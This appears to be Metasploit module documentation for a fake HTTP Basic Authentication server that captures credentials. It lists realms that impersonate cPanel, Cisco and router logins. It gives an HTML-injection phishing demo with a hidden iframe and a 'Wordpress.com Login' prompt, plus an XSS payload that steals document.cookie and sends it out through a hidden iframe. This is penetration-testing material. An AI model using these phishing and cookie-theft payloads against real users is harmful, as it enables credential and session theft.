This module creates a mock web server which, utilizing a HTTP 401 response, prompts the user to enter credentials for Basic Authentication.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/server/capture/http_basic```
|
||||
3. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**REALM**
|
||||
|
||||
The Realm for the Basic Authentication, which may be displayed in the input box to the user.
|
||||
Default is `Secure Site`.
|
||||
Some notable Realms to emulate:
|
||||
|
||||
* `level_15 or view_access`
|
||||
* `cPanel`
|
||||
* `HuaweiHomeGateway`
|
||||
* `Broadband Router`
|
||||
|
||||
**RedirectURL**
|
||||
|
||||
After the user enters a set of credentials, their browser will be redirected to this address. Default is ``.
|
||||
|
||||
**SSL**
|
||||
|
||||
Boolean if SSL should be used, making this HTTPS. HTTPS is typically run on port 443. If `SSLCert` is not set, a certificate
|
||||
will be automatically generated. Default is `False`.
|
||||
|
||||
**SSLCert**
|
||||
|
||||
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||
generated. Default is ``.
|
||||
|
||||
**URIPATH**
|
||||
|
||||
What URI should be utilized to prompt for the Basic Authentication. For instance, you may want this to run on `/cisco` if you use
|
||||
the `REALM` `level_15 or view_access`. Default is ``, which will randomly generate a URIPATH.
|
||||
|
||||

### HTML Injection Social Engineering
|
||||
|
||||
In this scenario, we're able to inject HTML (but not script) into a website. We'll inject an `iframe`
|
||||
that will load our basic authentication website. This payload will pop-up a login box, with the REALM (title)
|
||||
set to the website, which will hopefully trick a user into entering their credentials.
|
||||
**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
|
||||
The HTML was simply edited in the local browser.**
|
||||
|
||||
HTML Payload Injected:
|
||||
|
||||
```html
|
||||
<iframe width="0" height="0" src="http://127.0.0.1/"></iframe>
|
||||
```
|
||||
|
||||
Server:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/capture/http_basic
|
||||
msf5 auxiliary(server/capture/http_basic) > set uripath '/'
|
||||
uripath => /
|
||||
msf5 auxiliary(server/capture/http_basic) > set REALM "Wordpress.com Login"
|
||||
REALM => Wordpress.com Login
|
||||
msf5 auxiliary(server/capture/http_basic) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/http_basic) >
|
||||
[*] Using URL: http://0.0.0.0:80/
|
||||
[*] Local IP: http://192.168.2.117:80/
|
||||
[*] Server started.
|
||||
[*] Sending 401 to client 127.0.0.1
|
||||

|
||||
```
|
||||
|
||||
Client:
|
||||
|
||||
|
||||
|
||||
### XSS Cookie Theft
|
||||
|
||||
In this scenario, we're able to inject JavaScript into a website. We'll first get the user's cookie, then with jQuery
|
||||
pull the username from the `username` field. Because the cookie may contain fields break URI parsing (like `@`)
|
||||
we use `btoa` to base64 encode the cookie. Next we'll write an `iframe`
|
||||
that will silently attempt a login to our basic authentication website.
|
||||
**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
|
||||
The HTML was simply edited in the local browser.**
|
||||
|
||||
Payload:
|
||||
|
||||
```html
|
||||
<script>
|
||||
var cookie = document.cookie;
|
||||
var username = $('#username').text();
|
||||
document.write('<iframe width="0" height="0" src="http://' + username + ':' + btoa(cookie) + '@127.0.0.1/"></iframe>');
|
||||
</script>

||||
```
